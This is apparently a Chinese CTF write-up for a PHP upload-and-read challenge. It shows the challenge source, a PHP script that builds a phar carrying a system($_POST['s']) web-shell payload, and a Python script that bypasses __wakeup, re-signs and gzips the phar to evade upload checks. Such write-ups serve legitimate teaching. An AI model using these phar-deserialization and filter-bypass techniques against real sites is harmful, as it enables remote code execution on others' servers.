能上传文件和查看文件
非预期:出题人没有对读取文件做限制,导致了目录穿越,可直接读取flag
预期解如下; 首先读取`index.php`与`upload.php`
```php
<?php //index.php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
```
很简单的反序列化,可以看到最后的文件操作函数是`file_get_content`,可以触发phar反序列化
```PHP
<?php //upload.php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
```
文件上传处不仅限制了后缀名,还判断了文件内容有没有`__HALT_COMPILER();`这个phar文件标记
本题绕过的点:
- 后缀检测:php识别phar文件是靠其文件头的stub,也就是`__HALT_COMPILER();`,与后缀无关
- `__wakeup`绕过:改变成员个数即可
- 内容检测绕过:将phar文件用gzip或其他压缩方式压缩即可绕过
php脚本
```php
<?php
ini_set('display_errors', 1);
ini_set("phar.readonly", "Off");
class LoveNss
{
public $ljt;
public $dky;
public $cmd;
public function __construct()
{
$this->ljt = "Misc";
$this->dky = "Re";
$this->cmd = 'system($_POST["s"]);';
}
}
@unlink('test.phar');
$obj = new LoveNss();
$phar = new phar('test.phar'); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($obj); //自定义的meta-data存入manifest
$phar->addFromString("flag.txt", "flag"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("test.phar", "test.png");
```
修改成员个数后要重新签名:也是利用脚本
本人本地测试尝试手搓,但是都没有成功
后面看了其他师傅的文档发现:
搜索相关方面,听说要用gzip压缩(Kali自带)
在kali里gzip压缩后改名为.png后缀 上传 还是不行
需要用gzip进行压缩,且不能直接用记事本对phar文件修改数据,不然即使经过python脚本修复数字签名其修复后的文件后八位值会改变。
这个脚本既能绕过_wakeup魔术方法,也可以实现gzip压缩
python脚本
```python
import gzip
from hashlib import sha1
file = open(r"test.png", 'rb').read()
file = file.replace(b':3:{', b':4:{') # 修改属性个数绕过__wakeup
s = file[:-28] # 获取要签名的数据
h = file[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile(r"shell.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
这里直接上传shell.png,然后访问这个路径即可getshell
```